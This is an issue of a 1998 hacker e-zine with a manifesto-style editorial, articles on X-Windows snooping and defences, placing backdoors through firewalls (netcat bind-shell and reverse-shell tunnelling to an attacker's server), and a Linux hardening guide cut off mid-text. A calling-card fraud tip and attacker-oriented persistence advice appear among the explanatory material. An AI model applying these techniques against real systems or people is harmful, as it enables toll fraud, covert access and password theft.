Copy Link
Add to Bookmark
Report
Keen Veracity Issue 03
####===################===####
#| Keen Veracity 3 [Oct Issue] |#
*| Legions Of the Underound |*
*| [1][0][1][0][1][0][1][9][8] |*
####===################===####
Transforming Minds...
transformation \'trans'fer-ma'shen\vt 1:
to create dramatic improvement 2: to make
distinctly different 3: to alter, to trans-
form 4: to progress from underdeveloped con-
dition 5: to become smarter, stronger, tougher
Contents:
* Introduction | [dex|001] optiklenz
* Q&A | [dex|002] web mail
* X-Windows Security | [dex|003] runeb
* Placing Backdoors Through Firewalls | [dex|004] van Hauser
* Detailed Guide to Linux Security | [dex|005] Bronc Buster
* HP-UX: A Security Overview, Part Two | [dex|006] tip
* Attack on the PKZIP Stream Cipher | [dex|007] Pk
* Coordinated TCP Attacks and Probes | [dex|008] Shadow
* How to secure your WinGate installation | [dex|009] enema
* AT&T/BOC Routing Codes | [dex|010] foneman
* Cellular Carrier Codes | [dex|011] Herber
* Packet Fragmentation Attacks | [dex|012] Cohen
* Novell Netware Administration Exploit | [dex|013] Mnemonic
* In the News | [dex|014] sources
[optiklenz]------->Introduction
From the Editor-
Well here it is the release of Keen Veracity III. After a long
period of procrastination we are back. We've been away for awhile
doing our own thing, but now were ready to put a little more focus,
and productive energy on the Legions operation. Particularly because
so many changes have occurred, and are still in the process of exposing.
One of those changes being the team title after talking with Nami, and
an investor we are now going corporate. We are officially registered as
"Legions Interactive" as consultants, and an e-commerce solutions
provider. This will not transform any of the plans, and designs with
Legions of the Underground. Except that more effort will be put into
commercial research, and anything that had anything to do with being
considered "illegal" has far been washed away. Not only because of
potential investors, but because we've never really dealt with anything
we thought to be illegal in the first place. No one owns the Internet,
and well "password's" just get in the way of things. Who is to tell me
or anyone else for that matter where we can or cannot go? Especially
in an environment a lot of us are all too familiar with. Though I have
these views I am forced to keep them to myself
because unfortunately, and infelicitously the government does not
agree with my views, and it may just be they can give a rat's ass about
yours either. Ultimately I would like to see everyone co-existing,
and sharing their data in synchronicity. The definition of "knowledge"
is "to know", but how can we know what is kept behind locked doors?
How can we learn what is locked out by passwords, and guarded by bull
dogs whose only knowledge is the word "attack" or "sit".
With my views There is a question of ethics, and the act of crossing
the barrier. Information, and data is to be cherished, (for it can only
build you not hurt you) cultivated and developed not to be annulled or
locked up. Hacking is an expansive applied knowledge in any technical
field. Destruction, and the unschooled acts of those who live with out
moral are what separates the "hackers"(those who's main purpose of life
is to learn, expand, and apply what they learn) from those that
just like to "whack off". In conclusion in the midst of all this
change LoU will still remain, and continue to produce Keen Veracity
amongst other things. We established our presence on the net in '89
as research team, and will continue sharing every bit of data we annex
with anyone who will open up to it, and take it for what it is along
with following the virtuous, and keen philosophies that is essential
to remain "knowledgeable". Knowledge can only be defined by oneself
because in standard definition we'd all be characterized as ignorant.
Knowledge is, and should be the distinction of happiness and being
able to envisage, and pursue what in your heart makes you happy only
then will you be able to truly prevail.
Remember all data is free, and one should be able to manipulate it at
their own inclination as it may very well help in the advancement of
technology. If no one ever took it upon themselves to modify things,
and creations for the better we would probably still be living in a
technologically dark, and weakened era. It is your right to know,
and apply what you desire just be aware of how you apply what you
know...
-optiklenz
optiklenz@legions.org
Legions Interactive Inc. - http://www.legions.org
efNETwork: irc.cs.cmu.edu
channel: #legions
^ *=========* ^
* (t)he (s)taff *
*=========*-------
optiklenz
cap n crunch
tip
icer
Bronc Buster
sreality
Zyklon
havoc
HyperLogik
Defiant
Duncan Silver
Slfdstrct
lothos
submit articles to: webmaster@legions.org
*=========*-----------------------------------------
\\\useless trick of the week///
When a phone user hangs up from a calling card session
if the phone is picked up quick enough, and the "*" key
is pressed you will be able to continue using the card on
the last users time.
X-Windows Security <----------[runeb]
1. Motivation / introduction
2. How open X displays are found
3. The local-host problem
4. Snooping techniques - dumping windows
5. Snooping techniques - reading keyboard
6. Xterm - secure keyboard option
7. Trojan X programs [xlock and xdm]
8. X Security tools - xauth MIT-MAGIC-COOKIE
9. Concluding remarks
---------------------------------------------------------------------------
1. Motivation / introduction
X windows pose a security risk. Through a network, anyone can connect to an
open X display, read the keyboard, dump the screen and windows and start
applications on the unprotected display. Even if this is a known fact
throughout the computer security world, few attempts on informing the user
community of the security risks involved have been made. This article deals
with some of the aspects of X windows security. It is in no sense a
complete guide to the subject, but rather an introduction to a not-so-known
field of computer security. Knowledge of the basics of the X windows system
is necessary, I haven't bothered including an introductory section to
explain the fundamentals. I wrote some code during the research for this
article, but none of it is included herein. If the lingual flow of English
seem mayhap strange and erroneous from byte to byte, this is due to the
fact that I'm Scandinavian. Bare with it. :)
2. How open X displays are found
An open X display is in formal terms an X server that has its access
control disabled. Disabling access control is normally done with the xhost
command.
$ xhost +
allows connections from any host. A single host can be allowed connection
with the command
$ xhost + ZZZ.ZZZ.ZZZ.ZZZ
where Z is the IP address or host-name. Access control can be enabled by
issuing an
$ xhost -
command. In this case no host but the local-host can connect to the
display. Period. It is as simple as that - if the display runs in 'xhost -'
state, you are safe from programs that scans and attaches to unprotected X
displays. You can check the access control of your display by simply typing
xhost from a shell. Sadly enough, most sites run their X displays with
access control disabled as default. They are therefore easy prey for the
various scanner programs circulating on the net.
Anyone with a bit of knowledge about Xlib and sockets programming can write
an X scanner in a couple of hours. The task is normally accomplished by
probing the port that is reserved for X windows, number 6000. If anything
is alive at that port, the scanner calls XOpenDisplay("IP-ADDRESS:0.0")
that will return a pointer to the display structure, if and only if the
target display has its access control disabled. If access control is
enabled, XOpenDisplay returns 0 and reports that the display could not be
opened.
E.g:
Xlib: connection to "display:0.0" refused by server
Xlib: Client is not authorized to connect to Server
The probing of port 6000 is necessary because of the fact that calling
XOpenDisplay() on a host that runs no X server will simply hang the calling
process. So much for unix programming conventions. :)
I wrote a program called xscan that could scan an entire subnet or scan the
entries in /etc/hosts for open X displays. My remark about most sites
running X displays with access control disabled, originates from running
xscan towards several sites on the internet.
3. The localhost problem
Running your display with access control enabled by using 'xhost -' will
guard you from XOpenDisplay attempts through port number 6000. But there is
one way an eavesdropper can bypass this protection. If he can log into your
host, he can connect to the display of the localhost. The trick is fairly
simple. By issuing these few lines, dumping the screen of the host 'target'
is accomplished:
$ rlogin target
$ xwd -root -display localhost:0.0 > ~/snarfed.xwd
$ exit
$ xwud -in ~/snarfed.xwd
And voila, we have a screendump of the root window of the X server target.
Of course, an intruder must have an account on your system and be able to
log into the host where the specific X server runs. On sites with a lot of
X terminals, this means that no X display is safe from those with access.
If you can run a process on a host, you can connect to (any of) its X
displays.
Every Xlib routine has the Display structure as it's first argument. By
successfully opening a display, you can manipulate it with every Xlib call
available. For an intruder, the most 'important' ways of manipulating is
grabbing windows and keystrokes.
4. Snooping techniques - dumping windows
The most natural way of snarfing a window from an X server is by using the
X11R5 utility xwd or X Window System dumping utility. To get a grip of the
program, here's a small excerpt from the man page
DESCRIPTION
Xwd is an X Window System window dumping utility. Xwd allows Xusers to
store window images in a specially formatted dump file. This file can
then be read by various other X utilities for redisplay, printing,
editing, formatting, archiving, image processing, etc. The target
window is selected by clicking the pointer in the desired window. The
keyboard bell is rung once at the beginning of the dump and twice when
the dump is completed.
Shortly, xwd is a tool for dumping X windows into a format readable by
another program, xwud. To keep the trend, here's an excerpt from the man
page of xwud:
DESCRIPTION
Xwud is an X Window System image undumping utility. Xwud allows X
users to display in a window an image saved in a specially formatted
dump file, such as produced by xwd(1).
I will not go in detail of how to use these programs, as they are both
self-explanatory and easy to use. Both the entire root window, a specified
window (by name) can be dumped, or a specified screen. As a 'security
measure' xwd will beep the terminal it is dumping from, once when xwd is
started, and once when it is finished (regardless of the xset b off
command). But with the source code available, it is a matter of small
modification to compile a version of xwd that doesn't beep or otherwise
identifies itself - on the process list e.g. If we wanted to dump the root
window or any other window from a host, we could simply pick a window from
the process list, which often gives away the name of the window through the
-name flag. As before mentioned, to dump the entire screen from a host:
$ xwd -root localhost:0.0 > file
the output can be directed to a file, and read with
$ xwud -in file
or just piped straight to the xwud command.
Xterm windows are a different thing. You can not specify the name of an
xterm and then dump it. They are somehow blocked towards the X_Getimage
primitive used by xwd, so the following
$ xwd -name xterm
will result in an error. However, the entire root window (with Xterms and
all) can still be dumped and watched by xwud. Some protection.
5. Snooping techniques - reading keyboard
If you can connect to a display, you can also log and store every keystroke
that passes through the X server. A program circulating the net, called
xkey, does this trick. A kind of higher-level version of the infamous
ttysnoop.c. I wrote my own, who could read the keystrokes of a specific
window ID (not just every keystroke, as my version of xkey). The window
ID's of a specific root-window, can be acquired with a call to
XQueryTree(), that will return the XWindowAttributes of every window
present. The window manager must be able to control every window-ID and
what keys are pressed down at what time. By use of the window-manager
functions of Xlib, KeyPress events can be captured, and KeySyms can be
turned into characters by continuous calls to XLookupString.
You can even send KeySym's to a Window. An intruder may therefore not only
snoop on your activity, he can also send keyboard events to processes, like
they were typed on the keyboard. Reading/writing keyboard events to an
xterm window opens new horizons in process manipulation from remote.
Luckily, xterm has good protection techniques for prohibiting access to the
keyboard events.
6. Xterm - Secure keyboard option
A lot of passwords is typed in an xterm window. It is therefore crucial
that the user has full control over which processes can read and write to
an xterm. The permission for the X server to send events to an Xterm
window, is set at compile time. The default is false, meaning that all
SendEvent requests from the X server to an xterm window is discarded. You
can overwrite the compile-time setting with a standard resource definition
in the .Xdefaults file:
xterm*allowSendEvents True
or by selecting Allow Sendevents on the Xterm Main Options menu. (Accessed
by pressing CTRL and the left mouse button But this is _not_ recommended.
Neither by me, nor the man page. ;) Read access is a different thing.
Xterms mechanism for hindering other X clients to read the keyboard during
entering of sensitive data, passwords etc. is by using the XGrabKeyboard()
call. Only one process can grab the keyboard at any one time. To activate
the Secure Keyboard option, choose the Main Options menu in your Xterm
window (CTRL+Left mouse button) and select Secure Keyboard. If the colors
of your xterm window inverts, the keyboard is now Grabbed, and no other X
client can read the KeySyms.
The versions of Xterm X11R5 without patch26 also contain a rather nasty and
very well known security hole that enables any user to become root through
clever use of symbolic links to the password file. The Xterm process need
to be setuid for this hole to be exploitable. Refer to the Cert Advisory:
CA-93:17.xterm.logging.vulnerability.
7. Trojan X clients - xlock and X based logins
Can you think of a more suitable program for installing a password-grabbing
trojan horse than xlock? I myself cannot. With a few lines added to the
getPassword routine in xlock.c, the password of every user using the trojan
version of xlock can be stashed away in a file for later use by an
intruder. The changes are so minimal, only a couple of bytes will tell the
real version from the trojan version.
If a user has a writable homedir and a ./ in her PATH environment variable,
she is vulnerable to this kind of attack. Getting the password is achieved
by placing a trojan version of Xlock in the users homedir and waiting for
an invocation. The functionality of the original Xlock is contained in the
trojan version. The trojan version can even tidy up and destroy itself
after one succesfull attempt, and the user will not know that his password
has been captured.
Xlock, like every password-prompting program, should be regarded with
suspicion if it shows up in places it should not be, like in your own
homedir.
Spoofed X based logins however are a bit more tricky for the intruder to
accomplish. He must simulate the login screen of the login program ran by
XDM. The only way to ensure that you get the proper XDM login program (if
you want to be really paranoid) is to restart the X-terminal, whatever key
combination that will be for the terminal in question.
8. X Security tools - xauth MIT-MAGIC-COOKIE
To avoid unathorized connections to your X display, the command xauth for
encrypted X connections is widely used. When you login, xdm creates a file
.Xauthority in your homedir. This file is binary, and readable only through
the xauth command. If you issue the command
$ xauth list
you will get an output of:
your.display.ip:0 MIT-MAGIC-COOKIE-1 73773549724b76682f726d42544a684a
display name authorization type key
The .Xauthority file sometimes contains information from older sessions,
but this is not important, as a new key is created at every login session.
To access a display with xauth active - you must have the current access
key.
If you want to open your display for connections from a particular user,
you must inform him of your key. He must then issue the command
$ xauth add your.display.ip:0 MIT-MAGIC-COOKIE-1 73773549724b7668etc.
Now, only that user (including yourself) can connect to your display.
Xauthority is simple and powerful, and eliminates many of the security
problems with X.
9. Concluding remarks
Thanks must go to Anthony Tyssen for sending me his accumulated info on X
security issues from varius usenet discussions. I hope someone has found
useful information in this text. It is released to the net.community with
the idea that it will help the user to understand the security problems
concerned with using X windows. Questions or remarks can be sent to the
following address: runeb@stud.cs.uit.no
-------------------------------------------------------------------------
[van Hauser]---------
Introduction
This article describes possible backdoors through different firewall
architectures. However, the material can also be applied to other
environments to describe how hackers (you?) cover their access to a system.
Hackers often want to retain access to systems they have penetrated
even in the face of obstacles such as new firewalls and patched
vulnerabilities. To accomplish this the attackers must install a
backdoor which a) does it's job and b) is not easily detectable. The
kind of backdoor needed depends on the firewall architecture used.
As a gimmick and proof-of-concept, a nice backdoor for any kind of
intrusion is included, so have fun.
----[ Firewall Architectures
There are two basic firewall architectures and each has an enhanced version.
Packet Filters:
This is a host or router which checks each packet against an
allow/deny ruletable before routing it through the correct
interface. There are very simple ones which can only filter
from the origin host, destination host and destination port, as
well as good ones which can also decide based on incoming interface,
source port, day/time and some tcp or ip flags.
This could be a simple router, f.e. any Cisco, or a Linux
machine with firewalling activated (ipfwadm).
Stateful Filters: This is the enhanced version of a packet filter. It
still does the same checking against a rule table and only
routes if permitted, but it also keeps track of the state
information such as TCP sequence numbers. Some pay attention
to application protocols which allows tricks such as only
opening ports to the interiour network for ftp-data channels
which were specified in a permitted ftp session. These
filters can (more or less) get UDP packets (f.e. for DNS and
RPC) securely through the firewall. (Thats because UDP is a
stateless protocol. And it's more difficult for RPC services.)
This could be a great OpenBSD machine with the ip-filter software,
a Cisco Pix, Watchguard, or the (in)famous Checkpoint FW-1.
Proxies / Circuit Level Gateways: A proxy as a firewall host is simply
any server which has no routing activated and instead has
proxy software installed. Examples of proxy servers which may
be used are squid for WWW, a sendmail relay configuration
and/or just a sockd.
Application Gateways:
This is the enhanced version of a proxy. Like a proxy, for every
application which should get through the firewall a software must
be installed and running to proxy it. However, the application
gateway is smart and checks every request and answer, f.e. that
an outgoing ftp only may download data but not upload any, and that
the data has got no virus, no buffer overflows are generated in
answers etc. One can argue that squid is an application
gateway, because it does many sanity checks and let you filter
stuff but it was not programmed for the installation in a secure
environment and still has/had security bugs.
A good example for a freeware kit for this kind is the TIS firewall
toolkit (fwtk).
Most firewalls that vendors sell on the market are hybrid firwalls,
which means they've got more than just one type implemented; for
example the IBM Firewall is a simple packet filter with socks and a
few proxies. I won't discuss which firewall product is the best,
because this is not a how-to-by-a-firewall paper, but I will say this:
application gateways are by far the most secure firewalls,
although money, speed, special protocols, open network policies,
stupidity, marketing hype and bad management might rule them out.
----[ Getting in
Before we talk about what backdoors are the best for which firewall
architecture we should shed a light on how to get through a firewall
the first time. Note that getting through a firewall is not a plug-n-play
thing for script-kiddies, this has to be carefully planned and done.
The four main possibilities:
Insider:
There's someone inside the company (you, girlfriend, chummer)
who installs the backdoor. This is the easiest way of course.
Vulnerable Services:
Nearly all networks offer some kind of services,
such as incoming email, WWW, or DNS. These may be on the
firewall host itself, a host in the DMZ (here: the zone in front
of the firewall, often not protected by a firewall) or on an internal
machine. If an attacker can find a hole in one of those services,
he's got good chances to get in. You'd laugh if you saw how many
"firewalls" run sendmail for mail relaying ...
Vulnerable External Server:
People behind a firewall sometimes work on
external machines. If an attacker can hack these, he can
cause serious mischief such as the many X attacks if the
victim uses it via an X-relay or sshd. The attacker could
also
send fake ftp answers
to overflow a buffer in the ftp client software, replace a gif
picture on a web server with one which crashs netscape and
executes a command (I never checked if this actually works, it
crashs, yeah, but I didn't look through this if this is really
an exploitable overflow). There are many possibilities with
this but it needs some knowledge about the company. However,
an external web server of the company is usually a good start.
Some firewalls are configured to allow incoming telnet from
some machines, so anyone can sniff these and get it. This is
particulary true for the US, where academic environments and
industry/military work close together.
Hijacking Connections:
Many companies think that if they allow incoming telnet with
some kind of secure authentication like SecureID (secure algo?, he)
they are safe. Anyone can hijack these after the authentication and
get in ... Another way of using hijacked connections is to modify
replies in the protocol implementation to generate a buffer
overflow (f.e. with X).
Trojans:
Many things can be done with a trojan horse.
This could be a gzip file which generates a buffer overflow
(well, needs an old gzip to be installed), a tar file which
tampers f.e. ~/.logout to execute something, or an executable
or source code which was modified to get the hacker in somehow.
To get someone running this, mail spoofing could be used or
replacing originals on an external server which internal employees
access to update their software regulary (ftp xfer files and www
logs can be checked to get to know which files these are).
----[ Placing the Backdoors
An intelligent hacker will not try to put the backdoors on machines in
the firewall segment, because these machines are usually monitored and
checked regulary. It's the internal machines which are usually unprotected
and without much administration and security checks.
I will now talk about some ideas of backdoors which could be implemented.
Note that programs which will/would run on an stateful filter will of course
work with a normal packet filter too, same for the proxy. Ideas for an
application gateway backdoor will work for any architecture.
Some of them are "active" and others "passive". "Active" backdoors are those
which can be used by a hacker anytime he wishes, a "passive" one triggers
itself by time/event so an attacker has to wait for this to happen.
Packet Filters:
It's hard to find a backdoor which gets through this one but does
not work for any other. The few ones which comes into my mind
is a) the ack-telnet. It works like a normal telnet/telnetd except
it does not work with the normal tcp handshake/protocol but uses
TCP ACK packets only. Because they look like they belong to an
already established (and allowed) connection, they are permitted.
This can be easily coded with the spoofit.h of Coder's Spoofit
project (http://reptile.rug.ac.be/~coder).
b) Loki from Phrack 49/51 could be used too to establish a tunnel
with icmp echo/reply packets. But some coding would be needed to
to be done.
c) daemonshell-udp is a backdoor shell via UDP
(http://r3wt.base.org look for thc-uht1.tgz)
d) Last but not least, most "firewall systems" with only a screening
router/firewall let any incoming tcp connection from the source port
20 to a highport (>1023) through to allow the (non-passive) ftp
protocol to work. "netcat -p 20 target port-of-bindshell" is the
fastest solution for this one.
Stateful Filters:
Here a hacker must use programs which initiates the connection from
the secure network to his external 0wned server.
There are many out there which could be used:
active: tunnel from Phrack 52.
ssh with the -R option (much better than tunnel ... it's
a legtimitate program on a computer and it encrypts the
datastream).
passive: netcat compiled with the execute option and run with a
time option to connect to the hacker machine (ftp.avian.org).
reverse_shell from the thc-uht1.tgz package does the same.
Proxies / Circuit Level Gateways:
If socks is used on the firewall, someone can use all those stuff
for the stateful filter and "socksify" them. (www.socks.nec.com)
For more advanced tools you'd should take a look at the application
gateway section.
Application Gateways:
Now we get down to the interesting stuff. These beasts can be
intelligent so some brain is needed.
active: (re-)placing a cgi-script on the webserver of the company,
which allows remote access. This is unlikely because it's
rare that the webserver is in the network, not monitored/
checked/audited and accessible from the internet. I hope
nobody needs an example on such a thing ;-)
(re-placing) a service/binary on the firewall. This is
dangerous because those are audited regulary and sometimes
even sniffed on permanent ...
Loading a loadable module into the firewall kernel wich
hides itself and gives access to it's master. The best
solution for an active backdoor but still dangerous.
passive: E@mail - an email account/mailer/reader is configured in a
way to extract hidden commands in an email (X-Headers with
weird stuff) and send them back with output if wanted/needed.
WWW - this is hard stuff. A daemon on an internal machine
does http requests to the internet, but the requests are
in real the answers of commands which were issued by a
rogue www server in a http reply. This nice and easy beast
is presented below (->Backdoor Example: The Reverse WWW Shell)
DNS - same concept as above but with dns queries and
replies. Disadvantage is that it can not carry much data.
(http://www.icon.co.za/~wosp/wosp.dns-tunnel.tar.gz, this
example needs still much coding to be any effective)
----[ Backdoor Example: The Reverse WWW Shell
This backdoor should work through any firewall which has got the security
policy to allow users to surf the WWW (World Wide Waste) for information
for the sake and profit of the company.
For a better understanding take a look at the following picture and try
to remember it onwards in the text:
+--------+ +------------+ +-------------+
|internal|--------------------| FIREWALL |--------------|server owned |
| host | internal network +------------+ internet |by the hacker|
+--------+ +-------------+
SLAVE MASTER
Well, a program is run on the internal host, which spawns a child every day
at a special time. For the firewall, this child acts like a user, using his
netscape client to surf on the internet. In reality, this child executes
a local shell and connects to the www server owned by the hacker on the
internet via a legitimate looking http request and sends it ready signal.
The legitimate looking answer of the www server owned by the hacker are
in reality the commands the child will execute on it's machine it the
local shell. All traffic will be converted (I'll not call this "encrypted",
I'm not Micro$oft) in a Base64 like structure and given as a value for
a cgi-string to prevent caching.
Example of a connection:
Slave
GET /cgi-bin/order?M5mAejTgZdgYOdgIO0BqFfVYTgjFLdgxEdb1He7krjVAEfg HTTP/1.0
Master replies with
g5mAlfbknz
The GET of the internal host (SLAVE) is just the command prompt of the
shell, the answer is an encoded "ls" command from the hacker on the
external server (MASTER).
Some gimmicks:
The SLAVE tries to connect daily at a specified time to the MASTER if
wanted; the child is spawned because if the shell hangs for whatever
reason you can check & fix the next day; if an administrator sees connects
to the hacker's server and connects to it himself he will just see a
broken webserver because there's a Token (Password) in the encoded
cgi GET request; WWW Proxies (f.e. squid) are supported; program masks
it's name in the process listing ...
Best of all: master & slave program are just one 260-lines perl file ...
Usage is simple: edit rwwwshell.pl for the correct values,
execute "rwwwshell.pl slave" on the SLAVE, and just run "rwwwshell.pl"
on the MASTER just before it's time that the slave tries to connect.
Well, why coding it in perl? a) it was very fast to code, b) it's highly
portable and c) I like it.
If you want to use it on a system which hasn't got perl installed, search
for a similar machine with perl install, get the a3 compiler from the perl
CPAN archives and compile it to a binary. Transfer this to your target
machine and run that one.
The code for this nice and easy tool is appended in the section THE CODE
after my last words. If you've got updates/ideas/critics for it drop me an
email. If you think this text or program is lame, write me at root@localhost.
Check out http://r3wt.base.org for updates.
----[ Security
Now it's an interesting question how to secure a firewall to deny/detect
this. It should be clear that you need a tight application gateway firewall
with a strict policy. email should be put on a centralized mail server,
and DNS resolving only done on the WWW/FTP proxies and access to WWW only
prior proxy authentication. However, this is not enough. An attacker can
tamper the mailreader to execute the commands extracted from the crypted
X-Headers or implement the http authentication into the reverse www-shell
(it's simple). Also checking the DNS and WWW logs/caches regulary with good
tools can be defeated by switching the external servers every 3-20 calls
or use aliases.
A secure solution would be to set up a second network which is
connected to the internet, and the real one kept seperated - but tell
this the employees ...
A good firewall is a big improvement, and also an Intrusion Detection
Systems can help. But nothing can stop a dedicated attacker.
van Hauser: <vh@reptile.rug.ac.be>
Detailed Guide to Linux Security ----------[Bronc Buster]
Another Paper on Linux Security
13 Aug 98
Last Update 07 Sept 98
Version Beta 0.2
Bronc Buster
bronc@shocking.com
------------------------------------------------------------------------
Another paper on Linux Security? Why? Well most of the ones I've seen
floating around the net are never complete, only someone's tips or
tricks on how to secure a part of it, or to tweak some daemon or process
or a quick fix to a problem. They never cover from step one, though
going multi-user and going online with users and user processes and all
that goes along with it. I want to cover that. I know, no matter how
hard I try, I'll end up missing something, but I'm going to try and
cover everything I do when I install a system and prepare it for online
use, plus cover some free tools that I have found to be very effective.
Now if you are totally clueless and don't have any idea about how to use
Linux, I'll save you some time and tell you now, just don't go any
further. To get any use out of this paper, you have to be an
intermediate user, or a new admin who is familiar with Unix as a whole.
If you are thinking about going by this list when you are installing
your system, READ THIS ENTIRE PAPER FIRST, then start over following it,
otherwise you may miss something you might want when you install or when
you pick a kernel.
I'll say this now before you start. This paper is ongoing, and a
work in progress. I want to make a comprehensive paper, so I welcome all
suggestions, tips and advice on how to make this paper a better one.
------------------------------------------------------------------------
Contents
1. Installation
2. Boot-Up
3. SUID files and the File System
4. Quotas
5. Logs
6. Access security (remote and physical)
7. Misc. Files
8. Third Party Tools
9. Conclusions
------------------------------------------------------------------------
1. Installation
This is a step every paper I have seen has over looked. Right from
install you can manage to cut your problems by at least one-third if you
install correctly, installing only what your system needs. Think about
it. Ask yourself what is this box going to be doing? Is it going to be
on a LAN as a file server of some sort, or sitting on a direct Internet
Connection as a web server of some sort, or just sitting on your
desk at home running PPP? These are important questions you need to
answer BEFORE you start your install.
If this system is going to be sitting on a rack as a web server, why
would you want to install X-Windows, for example. If you're not going to
use it, you'll most likely overlook it in day to day operations, and
that's something a hacker is going to look for. Along with this comes
SUID programs, programs you might not even know exist, but programs a
hacker will head for like a shark for blood. On the other hand, if it's
on a LAN, where you're going to be at the console, and an X-Windows
server is necessary, look for other components you won't need, like any
of the PPP or SLIP components.
If you're not sure, go out and buy a book, or if you're really poor,
borrow a book. Read up on what each component does and why you need it.
If worse comes to worse, when you are installing, read each section
before you just go down the line and check off everything. Read the
parts which you are unsure of and don't install what you think you don't
need. Remember that you can always go back later and add things. The
Unix file system can be very complex and very deep, and hackers depend
on this when they are hiding programs and backdoors. The better you
understand what you have put on your system, the better you will know,
later on, what should be there and what shouldn't. This also helps out
later on after you have installed, when you are weeding out potential
security risks. The less unnecessary stuff on yo4ur system, the less you
have to worry about later on, so take the time now, before an install,
and go though what you want to install.
------------------------------------------------------------------------
2. Boot-Up
Ok, so you took a couple hours and got a nice clean install, now
you're booting up. Hopefully it'll be clean with no errors. If there are
errors, there are the first problems you want to try and solve. In Linux
(Slackware), there is a directory called '/etc/rc.d' that hold the files
that tells the system what to run at boot. This, as you can imagine, is
a very important directory, as someone who can write to these files can
install a backdoor, or a process that can be harmful to your system.
Back to the errors, and editing each of the files for safety. Most
people, unless they have experience with Linux, either don't know these
files exist, don't know what to do with them, or are to scared to touch
them, thinking back to their uninformed windows95 days, where if you
touched files that controlled boot-up you might lose everything and have
to reinstall the operating system. Fear not, this is Linux!
showdown:/etc/rc.d# ls -l
total 40
lrwxrwxrwx 1 root root 4 Jun 5 01:31 rc.0 -> rc.6*
-rwxr-xr-x 1 root root 396 Oct 2 1995 rc.4*
-rwxr-xr-x 1 root root 2273 Oct 17 1996 rc.6*
-rwxr-xr-x 1 root root 1244 May 21 1997 rc.K*
-rwxr-xr-x 1 root root 3439 Sep 25 1997 rc.M*
-rwxr-xr-x 1 root root 5054 Jun 16 1997 rc.S*
-rw-r--r-- 1 root root 1336 Jul 9 1997 rc.cdrom
-rwxr-xr-x 1 root root 52 Jun 12 12:24 rc.httpd*
-rwxr-xr-x 1 root root 2071 Jul 29 14:19 rc.inet1*
-rwxr-xr-x 1 root root 2846 Jul 2 20:41 rc.inet2*
-rwxr-xr-x 1 root root 735 Jun 30 22:10 rc.local*
-rwxr-xr-x 1 root root 5251 Jun 5 09:23 rc.modules*
-rwxr-xr-x 1 root root 9059 Aug 23 1997 rc.serial*
Now here is a typical '/etc/rc.d/' directory. Each of the 'rc.*' files
does something specific, depending on the status of the system. Some of
them are self-explanatory, like 'rc.httpd', it's simply starts your
HTTPD web server. The 'rc.cdrom' loads your CD-ROM drive, if you have
support compiled into your kernel. 'rc.modules' loads modules, if you
have any (modules are special drivers or programs that are added at
boot-time to the kernel, and are not compiled into the kernel. Modules
are uses for older type NICs, sometimes Modems and other old types of
hardware.) 'rc.serial' is also used for loading serial devices, like
modems, printer and other stuff. Most of the 'rc.*' files that have
proper names, like '.cdrom', '.modules', '.serial' and '.httpd' you
shouldn't have to mess with, as they are set up automatically by the
choices you make when you install and select a kernel to boot off of.
Some of the others control the differences between Single Users Mode and
Multi User Mode, and some of the others control what daemons load up and
what your operating system can do.
'rc.M' controls the system going to Multi User Mode and loads some of
the other 'rc.*' files if the are supported, like the 'rc.cdrom', etc.
Go through this file carefully! Anything you know for a fact you don't
need, EDIT OUT with a '#'. Most likely there won't be too much you have
to mess with in this file, but you will in the others. Go down the list
in the 'rc.M' file and look at each of the other 'rc.*' files it runs.
Then go though each of these files and repeat the process.
For example, say you are going through your 'rc.inet2' file and you
know you don't need any 'rpc' services and you don't want your
portmapper to run, so you want to edit this out so it won't start up.
#This is how it looks normally. To edit it out, use the '#'
-- snip ----
# Start the SUN RPC Portmapper.
if [ -f ${NET}/rpc.portmap ]; then
echo -n " portmap"
${NET}/rpc.portmap
fi
-- snip ----
#Here is the correctly edited version
-- snip ----
# Start the SUN RPC Portmapper.
#if [ -f ${NET}/rpc.portmap ]; then
# echo -n " portmap"
# ${NET}/rpc.portmap
#fi
-- snip ----
It is important to edit it all out, from the starting 'if' all the way
down to the corresponding 'fi' at the end, otherwise you'll end up with
errors. I could go through each of the files and programs started in
each of the 'rc.*' files, but only you know which ones you are going to
need, depending on the type of server you are going to run. Just
remember, you have to assess what you need to get the job done, and then
remove the rest. If you're not sure what each program does, try doing a
net search, then reading on what each program does and then assessing if
you need them or not.
The 'rc.local' file is also an important file in the 'rc.d' directory,
it has any files or program you want to add to be started at boot time.
You can put any sort of things in here as you will see when I add one a
bit later.
------------------------------------------------------------------------
3. SUID files and the Filesystem
Before a single user steps fourth into my system, I make sure I find,
and isolate all, I repeat ALL, SUID files on the entire system. First,
you need to find all the SUID files. These series of commands will show
you where they all are:
find / -perm 4000 >> suid.txt
find / -perm 4700 >> suid.txt
find / -perm 4777 >> suid.txt
find / -perm 4770 >> suid.txt
find / -perm 4755 >> suid.txt
find / -perm 4750 >> suid.txt
find / -perm 4751 >> suid.txt
find / -perm 4500 >> suid.txt
find / -perm 4555 >> suid.txt
find / -perm 4550 >> suid.txt
find / -perm 4551 >> suid.txt
Now all you have to do is take a quick look into `suid.txt' and you'll
have the paths to all the SUID files on your system. On some systems, a
simple `find / -perm 4000 -print >> suid.txt' or 'find / -perm +4000
-print >> suid.txt' command will do the same thing as all the commands
above, but then again I've had a system in which it didn't show all the
SUID files for some reason. So to be safe I use a simple script in which
it just runs all these commands at once so I don't have to sit around
typing them all (call me anal).
After you have located all the SUID file, now you have to go though
all these files and decide which files you need, and which you want your
users to have access to. On my systems, I leave the following files
SUID, and `chmod 000' the rest of them.
passwd
ping
traceroute
screen
su
All other files that may be SUID, users have no business using, unless
you are going to run some sort of NFS or an X Server. Keep the list of
SUID files in your home directory so you can remember later where they
are if you need to use one. The rest of these SUID files, I move and put
them in the same directory, so I can keep track of them. Mine are in
`/usr/local/bin' or in `/bin' so that they stay in the users $PATH.
Later on I'll go into replacement programs for some of these that are
even more secure. Remember again, it is up to you, the admin, to decide
what programs you want users to have access to!
------------------------------------------------------------------------
4. Quotas
I always use quotas! Unless your are a normal ISP, or have some reason
to limit the amount of space each user is allowed to use, most people
don't bother with quotas. Well that's the wrong attitude and the wrong
answer. Quotas can totally save your system from getting trashed and
hosed from an ignorant or destructive user. Quotas not only control how
much space a user is allowed to use on your system, but it also controls
the total number of files (inodes) they are allowed to have as well.
Think about a user who makes a loop that makes directory after directory
or 1-byte file after 1-byte file? They could not only eat up all the CPU
and memory, but fill up your drive. A smart set quota can not only stop
this before it happens, but stop someone who might not have any quota
from also filling up your hard drive with garbage files. I've tested a
